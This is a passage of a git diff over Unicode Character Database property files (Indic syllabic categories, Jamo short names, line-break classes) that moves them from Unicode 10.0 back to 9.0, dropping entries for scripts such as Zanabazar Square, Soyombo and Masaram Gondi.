LETTER VOCALIC L 11C0A..11C0D ; Vowel_Independent # Lo [4] BHAIKSUKI LETTER E..BHAIKSUKI LETTER AU -11D00..11D06 ; Vowel_Independent # Lo [6] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; Vowel_Independent # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B ; Vowel_Independent # Lo MASARAM GONDI LETTER AU # ================================================ # Indic_Syllabic_Category=Vowel_Dependent -# Dependent Vowels (contrasted with independent vowels and/or with -# complex placement). Known as matras in Indic scripts. Also -# includes vowel modifiers that follow dependent (and sometimes -# independent) vowels. +# Dependent Vowels (contrasted with independent vowels and/or with complex placement) +# Matras (in Indic scripts) # [Not derivable] @@ -529,7 +497,7 @@ ABD1 ; Vowel_Independent # Lo MEETEI MAYEK LETTER ATIYA 1A63..1A64 ; Vowel_Dependent # Mc [2] TAI THAM VOWEL SIGN AA..TAI THAM VOWEL SIGN TALL AA 1A65..1A6C ; Vowel_Dependent # Mn [8] TAI THAM VOWEL SIGN I..TAI THAM VOWEL SIGN OA BELOW 1A6D..1A72 ; Vowel_Dependent # Mc [6] TAI THAM VOWEL SIGN OY..TAI THAM VOWEL SIGN THAM AI -1A73 ; Vowel_Dependent # Mn TAI THAM VOWEL SIGN OA ABOVE +1A73..1A74 ; Vowel_Dependent # Mn [2] TAI THAM VOWEL SIGN OA ABOVE..TAI THAM SIGN MAI KANG 1B35 ; Vowel_Dependent # Mc BALINESE VOWEL SIGN TEDUNG 1B36..1B3A ; Vowel_Dependent # Mn [5] BALINESE VOWEL SIGN ULU..BALINESE VOWEL SIGN RA REPA 1B3B ; Vowel_Dependent # Mc BALINESE VOWEL SIGN RA REPA TEDUNG @@ -625,12 +593,6 @@ ABE9..ABEA ; Vowel_Dependent # Mc [2] MEETEI MAYEK VOWEL SIGN CHEINAP..MEET 11722..11725 ; Vowel_Dependent # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11726 ; Vowel_Dependent # Mc AHOM VOWEL SIGN E 11727..1172A ; Vowel_Dependent # Mn [4] AHOM VOWEL SIGN AW..AHOM VOWEL SIGN AM -11A01..11A06 ; Vowel_Dependent # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; Vowel_Dependent # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; Vowel_Dependent # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A51..11A56 ; Vowel_Dependent # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; Vowel_Dependent # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; Vowel_Dependent # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK 11C2F ; Vowel_Dependent # Mc BHAIKSUKI VOWEL SIGN AA 11C30..11C36 ; Vowel_Dependent # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3B ; Vowel_Dependent # Mn [4] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI VOWEL SIGN AU @@ -638,11 +600,6 @@ ABE9..ABEA ; Vowel_Dependent # Mc [2] MEETEI MAYEK VOWEL SIGN CHEINAP..MEET 11CB1 ; Vowel_Dependent # Mc MARCHEN VOWEL SIGN I 11CB2..11CB3 ; Vowel_Dependent # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; Vowel_Dependent # Mc MARCHEN VOWEL SIGN O -11D31..11D36 ; Vowel_Dependent # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Vowel_Dependent # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Vowel_Dependent # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F ; Vowel_Dependent # Mn MASARAM GONDI VOWEL SIGN AU -11D43 ; Vowel_Dependent # Mn MASARAM GONDI SIGN CANDRA # ================================================ @@ -680,8 +637,6 @@ A926..A92A ; Vowel # Mn [5] KAYAH LI VOWEL UE..KAYAH LI VOWEL O 2010..2014 ; Consonant_Placeholder # Pd [5] HYPHEN..EM DASH 25CC ; Consonant_Placeholder # So DOTTED CIRCLE AA74..AA76 ; Consonant_Placeholder # Lo [3] MYANMAR LOGOGRAM KHAMTI OAY..MYANMAR LOGOGRAM KHAMTI HM -11A3F ; Consonant_Placeholder # Po ZANABAZAR SQUARE INITIAL HEAD MARK -11A45 ; Consonant_Placeholder # Po ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK # ================================================ @@ -836,11 +791,8 @@ ABD2..ABDA ; Consonant # Lo [9] MEETEI MAYEK LETTER GOK..MEETEI MAYEK LETTE 1160E..1162F ; Consonant # Lo [34] MODI LETTER KA..MODI LETTER LLA 1168A..116AA ; Consonant # Lo [33] TAKRI LETTER KA..TAKRI LETTER RRA 11700..11719 ; Consonant # Lo [26] AHOM LETTER KA..AHOM LETTER JHA -11A0B..11A32 ; Consonant # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A5C..11A83 ; Consonant # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA 11C0E..11C2E ; Consonant # Lo [33] BHAIKSUKI LETTER KA..BHAIKSUKI LETTER HA 11C72..11C8F ; Consonant # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A -11D0C..11D30 ; Consonant # Lo [37] MASARAM GONDI LETTER KA..MASARAM GONDI LETTER TRA # ================================================ @@ -870,13 +822,11 @@ ABD2..ABDA ; Consonant # Lo [9] MEETEI MAYEK LETTER GOK..MEETEI MAYEK LETTE # Indic_Syllabic_Category=Consonant_Prefixed -# Cluster-initial consonants +# Cluster-intial consonants # [Not derivable] 111C2..111C3 ; Consonant_Prefixed # Lo [2] SHARADA SIGN JIHVAMULIYA..SHARADA SIGN UPADHMANIYA -11A3A ; Consonant_Prefixed # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A86..11A89 ; Consonant_Prefixed # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA # ================================================ @@ -887,20 +837,16 @@ ABD2..ABDA ; Consonant # Lo [9] MEETEI MAYEK LETTER GOK..MEETEI MAYEK LETTE # [Not derivable] 0D4E ; Consonant_Preceding_Repha # Lo MALAYALAM LETTER DOT REPH -11D46 ; Consonant_Preceding_Repha # Lo MASARAM GONDI REPHA # ================================================ # Indic_Syllabic_Category=Consonant_Succeeding_Repha -# Repha Form of RA (reanalyzed in some scripts), when succeeding the main consonant. -# Additionally, U+1A5A TAI THAM CONSONANT SIGN LOW PA has been temporarily classified -# in this class due to its behavior, although it is not a RA. +# Repha Form of RA (reanalyzed in some scripts), when succeeding the main consonant # [Not derivable] 17CC ; Consonant_Succeeding_Repha # Mn KHMER SIGN ROBAT -1A5A ; Consonant_Succeeding_Repha # Mn TAI THAM CONSONANT SIGN LOW PA 1B03 ; Consonant_Succeeding_Repha # Mn BALINESE SIGN SURANG 1B81 ; Consonant_Succeeding_Repha # Mn SUNDANESE SIGN PANGLAYAR A982 ; Consonant_Succeeding_Repha # Mn JAVANESE SIGN LAYAR @@ -916,8 +862,6 @@ A982 ; Consonant_Succeeding_Repha # Mn JAVANESE SIGN LAYAR 0F8D..0F97 ; Consonant_Subjoined # Mn [11] TIBETAN SUBJOINED SIGN LCE TSA CAN..TIBETAN SUBJOINED LETTER JA 0F99..0FBC ; Consonant_Subjoined # Mn [36] TIBETAN SUBJOINED LETTER NYA..TIBETAN SUBJOINED LETTER FIXED-FORM RA 1929..192B ; Consonant_Subjoined # Mc [3] LIMBU SUBJOINED LETTER YA..LIMBU SUBJOINED LETTER WA -1A57 ; Consonant_Subjoined # Mc TAI THAM CONSONANT SIGN LA TANG LAI -1A5B..1A5E ; Consonant_Subjoined # Mn [4] TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA..TAI THAM CONSONANT SIGN SA 1BA1 ; Consonant_Subjoined # Mc SUNDANESE CONSONANT SIGN PAMINGKAL 1BA2..1BA3 ; Consonant_Subjoined # Mn [2] SUNDANESE CONSONANT SIGN PANYAKRA..SUNDANESE CONSONANT SIGN PANYIKU 1BAC..1BAD ; Consonant_Subjoined # Mn [2] SUNDANESE CONSONANT SIGN PASANGAN MA..SUNDANESE CONSONANT SIGN PASANGAN WA @@ -950,8 +894,6 @@ A9BE..A9BF ; Consonant_Medial # Mc [2] JAVANESE CONSONANT SIGN PENGKAL..JAV AA33..AA34 ; Consonant_Medial # Mc [2] CHAM CONSONANT SIGN YA..CHAM CONSONANT SIGN RA AA35..AA36 ; Consonant_Medial # Mn [2] CHAM CONSONANT SIGN LA..CHAM CONSONANT SIGN WA 1171D..1171F ; Consonant_Medial # Mn [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA -11A3B..11A3E ; Consonant_Medial # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11D47 ; Consonant_Medial # Mn MASARAM GONDI RA-KARA # ================================================ @@ -965,7 +907,8 @@ AA35..AA36 ; Consonant_Medial # Mn [2] CHAM CONSONANT SIGN LA..CHAM CONSONA 1933..1938 ; Consonant_Final # Mc [6] LIMBU SMALL LETTER TA..LIMBU SMALL LETTER LA 1939 ; Consonant_Final # Mn LIMBU SIGN MUKPHRENG 19C1..19C7 ; Consonant_Final # Lo [7] NEW TAI LUE LETTER FINAL V..NEW TAI LUE LETTER FINAL B -1A58..1A59 ; Consonant_Final # Mn [2] TAI THAM SIGN MAI KANG LAI..TAI THAM CONSONANT SIGN FINAL NGA +1A57 ; Consonant_Final # Mc TAI THAM CONSONANT SIGN LA TANG LAI +1A58..1A5E ; Consonant_Final # Mn [7] TAI THAM SIGN MAI KANG LAI..TAI THAM CONSONANT SIGN SA 1BBE..1BBF ; Consonant_Final # Lo [2] SUNDANESE LETTER FINAL K..SUNDANESE LETTER FINAL M 1BF0..1BF1 ; Consonant_Final # Mn [2] BATAK CONSONANT SIGN NG..BATAK CONSONANT SIGN H 1C2D..1C33 ; Consonant_Final # Mn [7] LEPCHA CONSONANT SIGN K..LEPCHA CONSONANT SIGN T @@ -978,7 +921,6 @@ AA44..AA4B ; Consonant_Final # Lo [8] CHAM LETTER FINAL CH..CHAM LETTER FIN AA4C ; Consonant_Final # Mn CHAM CONSONANT SIGN FINAL M AA4D ; Consonant_Final # Mc CHAM CONSONANT SIGN FINAL H ABDB..ABE2 ; Consonant_Final # Lo [8] MEETEI MAYEK LETTER KOK LONSUM..MEETEI MAYEK LETTER I LONSUM -11A8A..11A95 ; Consonant_Final # Mn [12] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO FINAL CONSONANT SIGN -A # ================================================ @@ -1051,7 +993,6 @@ ABEC ; Tone_Mark # Mc MEETEI MAYEK LUM IYEK 0A71 ; Gemination_Mark # Mn GURMUKHI ADDAK 11237 ; Gemination_Mark # Mn KHOJKI SIGN SHADDA -11A98 ; Gemination_Mark # Mn SOYOMBO GEMINATION MARK # ================================================ @@ -1062,12 +1003,10 @@ ABEC ; Tone_Mark # Mc MEETEI MAYEK LUM IYEK # [Not derivable] 0951..0952 ; Cantillation_Mark # Mn [2] DEVANAGARI STRESS SIGN UDATTA..DEVANAGARI STRESS SIGN ANUDATTA -0AFA..0AFC ; Cantillation_Mark # Mn [3] GUJARATI SIGN SUKUN..GUJARATI SIGN MADDAH 1CD0..1CD2 ; Cantillation_Mark # Mn [3] VEDIC TONE KARSHANA..VEDIC TONE PRENKHA 1CD4..1CE0 ; Cantillation_Mark # Mn [13] VEDIC SIGN YAJURVEDIC MIDLINE SVARITA..VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA 1CE1 ; Cantillation_Mark # Mc VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA 1CF4 ; Cantillation_Mark # Mn VEDIC TONE CANDRA ABOVE -1CF7 ; Cantillation_Mark # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; Cantillation_Mark # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE A8E0..A8F1 ; Cantillation_Mark # Mn [18] COMBINING DEVANAGARI DIGIT ZERO..COMBINING DEVANAGARI SIGN AVAGRAHA 1123E ; Cantillation_Mark # Mn KHOJKI SIGN SUKUN @@ -1102,13 +1041,12 @@ A8E0..A8F1 ; Cantillation_Mark # Mn [18] COMBINING DEVANAGARI DIGIT ZERO..CO 17D3 ; Syllable_Modifier # Mn KHMER SIGN BATHAMASAT 17DD ; Syllable_Modifier # Mn KHMER SIGN ATTHACAN 193B ; Syllable_Modifier # Mn LIMBU SIGN SA-I -1A7B..1A7C ; Syllable_Modifier # Mn [2] TAI THAM SIGN MAI SAM..TAI THAM SIGN KHUEN-LUE KARAN +1A7A..1A7C ; Syllable_Modifier # Mn [3] TAI THAM SIGN RA HAAM..TAI THAM SIGN KHUEN-LUE KARAN 1A7F ; Syllable_Modifier # Mn TAI THAM COMBINING CRYPTOGRAMMIC DOT 1C36 ; Syllable_Modifier # Mn LEPCHA SIGN RAN 1DFB ; Syllable_Modifier # Mn COMBINING DELETION MARK 2074 ; Syllable_Modifier # No SUPERSCRIPT FOUR 2082..2084 ; Syllable_Modifier # No [3] SUBSCRIPT TWO..SUBSCRIPT FOUR -11A33 ; Syllable_Modifier # Mn ZANABAZAR SQUARE FINAL CONSONANT MARK # ================================================ @@ -1157,10 +1095,6 @@ A8E0..A8F1 ; Cantillation_Mark # Mn [18] COMBINING DEVANAGARI DIGIT ZERO..CO # Indic_Syllabic_Category=Number # Number (can be used as vowel-holders like consonant placeholders) -# Note: A number may even hold subjoined consonants which may in turn -# have been formed using a virama or a stacker, e.g. the sequence -# where THAI THAM LETTER LOW TA is subjoined to -# TAI THAM THAM DIGIT THREE using an invisible stacker. # [Not derivable] @@ -1209,7 +1143,6 @@ ABF0..ABF9 ; Number # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NI 1173A..1173B ; Number # No [2] AHOM NUMBER TEN..AHOM NUMBER TWENTY 11C50..11C59 ; Number # Nd [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE 11C5A..11C6C ; Number # No [19] BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK -11D50..11D59 ; Number # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE # ================================================ diff --git a/lib/unicore/Jamo.txt b/lib/unicore/Jamo.txt index f2b5ecb5ca50..13111e10019a 100644 --- a/lib/unicore/Jamo.txt +++ b/lib/unicore/Jamo.txt @@ -1,6 +1,6 @@ -# Jamo-10.0.0.txt -# Date: 2017-02-15, 00:00:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# Jamo-9.0.0.txt +# Date: 2016-01-21, 22:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database @@ -8,7 +8,7 @@ # # This file defines the Jamo_Short_Name property. # -# See Section 3.12 of The Unicode Standard, Version 10.0 +# See Section 3.12 of The Unicode Standard, Version 9.0 # for more information. # # Each line contains two fields, separated by a semicolon. diff --git a/lib/unicore/LineBreak.txt b/lib/unicore/LineBreak.txt index d80210bde3a4..5f09ad728bb9 100644 --- a/lib/unicore/LineBreak.txt +++ b/lib/unicore/LineBreak.txt @@ -1,6 +1,6 @@ -# LineBreak-10.0.0.txt -# Date: 2017-03-08, 02:00:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# LineBreak-9.0.0.txt +# Date: 2016-05-26, 01:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -273,7 +273,6 @@ 0840..0858;AL # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN 0859..085B;CM # Mn [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK 085E;AL # Po MANDAIC PUNCTUATION -0860..086A;AL # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4;AL # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD;AL # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 08D4..08E1;CM # Mn [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA @@ -328,8 +327,6 @@ 09F9;PO # No BENGALI CURRENCY DENOMINATOR SIXTEEN 09FA;AL # So BENGALI ISSHAR 09FB;PR # Sc BENGALI GANDA MARK -09FC;AL # Lo BENGALI LETTER VEDIC ANUSVARA -09FD;AL # Po BENGALI ABBREVIATION SIGN 0A01..0A02;CM # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI 0A03;CM # Mc GURMUKHI SIGN VISARGA 0A05..0A0A;AL # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU @@ -374,7 +371,6 @@ 0AF0;AL # Po GUJARATI ABBREVIATION SIGN 0AF1;PR # Sc GUJARATI RUPEE SIGN 0AF9;AL # Lo GUJARATI LETTER ZHA -0AFA..0AFF;CM # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01;CM # Mn ORIYA SIGN CANDRABINDU 0B02..0B03;CM # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B05..0B0C;AL # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L @@ -466,12 +462,11 @@ 0CE2..0CE3;CM # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL 0CE6..0CEF;NU # Nd [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE 0CF1..0CF2;AL # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA -0D00..0D01;CM # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01;CM # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03;CM # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA 0D05..0D0C;AL # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L 0D0E..0D10;AL # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI 0D12..0D3A;AL # Lo [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA -0D3B..0D3C;CM # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3D;AL # Lo MALAYALAM SIGN AVAGRAHA 0D3E..0D40;CM # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44;CM # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR @@ -829,7 +824,6 @@ 1CF2..1CF3;CM # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF4;CM # Mn VEDIC TONE CANDRA ABOVE 1CF5..1CF6;AL # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7;CM # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9;CM # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE 1D00..1D2B;AL # Ll [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL 1D2C..1D6A;AL # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI @@ -838,7 +832,7 @@ 1D79..1D7F;AL # Ll [7] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER UPSILON WITH STROKE 1D80..1D9A;AL # Ll [27] LATIN SMALL LETTER B WITH PALATAL HOOK..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK 1D9B..1DBF;AL # Lm [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA -1DC0..1DF9;CM # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5;CM # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF;CM # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 1E00..1EFF;AL # L& [256] LATIN CAPITAL LETTER A WITH RING BELOW..LATIN SMALL LETTER Y WITH LOOP 1F00..1F15;AL # L& [22] GREEK SMALL LETTER ALPHA WITH PSILI..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA @@ -946,8 +940,7 @@ 20BB;PO # Sc NORDIC MARK SIGN 20BC..20BD;PR # Sc [2] MANAT SIGN..RUBLE SIGN 20BE;PO # Sc LARI SIGN -20BF;PR # Sc BITCOIN SIGN -20C0..20CF;PR # Cn [16] .. +20BF..20CF;PR # Cn [17] .. 20D0..20DC;CM # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE 20DD..20E0;CM # Me [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH 20E1;CM # Mn COMBINING LEFT RIGHT ARROW ABOVE @@ -1110,7 +1103,7 @@ 23DC..23E1;AL # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET 23E2..23EF;AL # So [14] WHITE TRAPEZIUM..BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR 23F0..23F3;ID # So [4] ALARM CLOCK..HOURGLASS WITH FLOWING SAND -23F4..23FF;AL # So [12] BLACK MEDIUM LEFT-POINTING TRIANGLE..OBSERVER EYE SYMBOL +23F4..23FE;AL # So [11] BLACK MEDIUM LEFT-POINTING TRIANGLE..POWER SLEEP SYMBOL 2400..2426;AL # So [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2440..244A;AL # So [11] OCR HOOK..OCR DOUBLE BACKSLASH 2460..249B;AI # No [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP @@ -1302,7 +1295,7 @@ 2B76..2B95;AL # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW 2B98..2BB9;AL # So [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX 2BBD..2BC8;AL # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA..2BD2;AL # So [9] TOP HALF BLACK CIRCLE..GROUP MARK +2BCA..2BD1;AL # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN 2BEC..2BEF;AL # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2C00..2C2E;AL # Lu [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE 2C30..2C5E;AL # Ll [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE @@ -1380,7 +1373,7 @@ 2E40;BA # Pd DOUBLE HYPHEN 2E41;BA # Po REVERSED COMMA 2E42;OP # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43..2E49;BA # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA +2E43..2E44;BA # Po [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK 2E80..2E99;ID # So [26] CJK RADICAL REPEAT..CJK RADICAL RAP 2E9B..2EF3;ID # So [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE 2F00..2FD5;ID # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE @@ -1479,7 +1472,7 @@ 30FC;CJ # Lm KATAKANA-HIRAGANA PROLONGED SOUND MARK 30FD..30FE;NS # Lm [2] KATAKANA ITERATION MARK..KATAKANA VOICED ITERATION MARK 30FF;ID # Lo KATAKANA DIGRAPH KOTO -3105..312E;ID # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D;ID # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E;ID # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 3190..3191;ID # So [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK 3192..3195;ID # No [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK @@ -1502,8 +1495,8 @@ 3400..4DB5;ID # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 4DB6..4DBF;ID # Cn [10] .. 4DC0..4DFF;AL # So [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION -4E00..9FEA;ID # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA -9FEB..9FFF;ID # Cn [21] .. +4E00..9FD5;ID # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 +9FD6..9FFF;ID # Cn [42] .. A000..A014;ID # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A015;NS # Lm YI SYLLABLE WU A016..A48C;ID # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR @@ -2647,7 +2640,6 @@ FFFD;AI # So REPLACEMENT CHARACTER 102E1..102FB;AL # No [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED 10300..1031F;AL # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS 10320..10323;AL # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..1032F;AL # Lo [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE 10330..10340;AL # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341;AL # Nl GOTHIC LETTER NINETY 10342..10349;AL # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL @@ -2911,33 +2903,6 @@ FFFD;AI # So REPLACEMENT CHARACTER 118E0..118E9;NU # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 118EA..118F2;AL # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY 118FF;AL # Lo WARANG CITI OM -11A00;AL # Lo ZANABAZAR SQUARE LETTER A -11A01..11A06;CM # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08;CM # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A;CM # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A0B..11A32;AL # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A33..11A38;CM # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39;CM # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3A;AL # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A3B..11A3E;CM # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A3F;BB # Po ZANABAZAR SQUARE INITIAL HEAD MARK -11A40;AL # Po ZANABAZAR SQUARE CLOSING HEAD MARK -11A41..11A44;BA # Po [4] ZANABAZAR SQUARE MARK TSHEG..ZANABAZAR SQUARE MARK LONG TSHEG -11A45;BB # Po ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK -11A46;AL # Po ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A47;CM # Mn ZANABAZAR SQUARE SUBJOINER -11A50;AL # Lo SOYOMBO LETTER A -11A51..11A56;CM # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58;CM # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B;CM # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A5C..11A83;AL # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89;AL # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA -11A8A..11A96;CM # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97;CM # Mc SOYOMBO SIGN VISARGA -11A98..11A99;CM # Mn [2] SOYOMBO 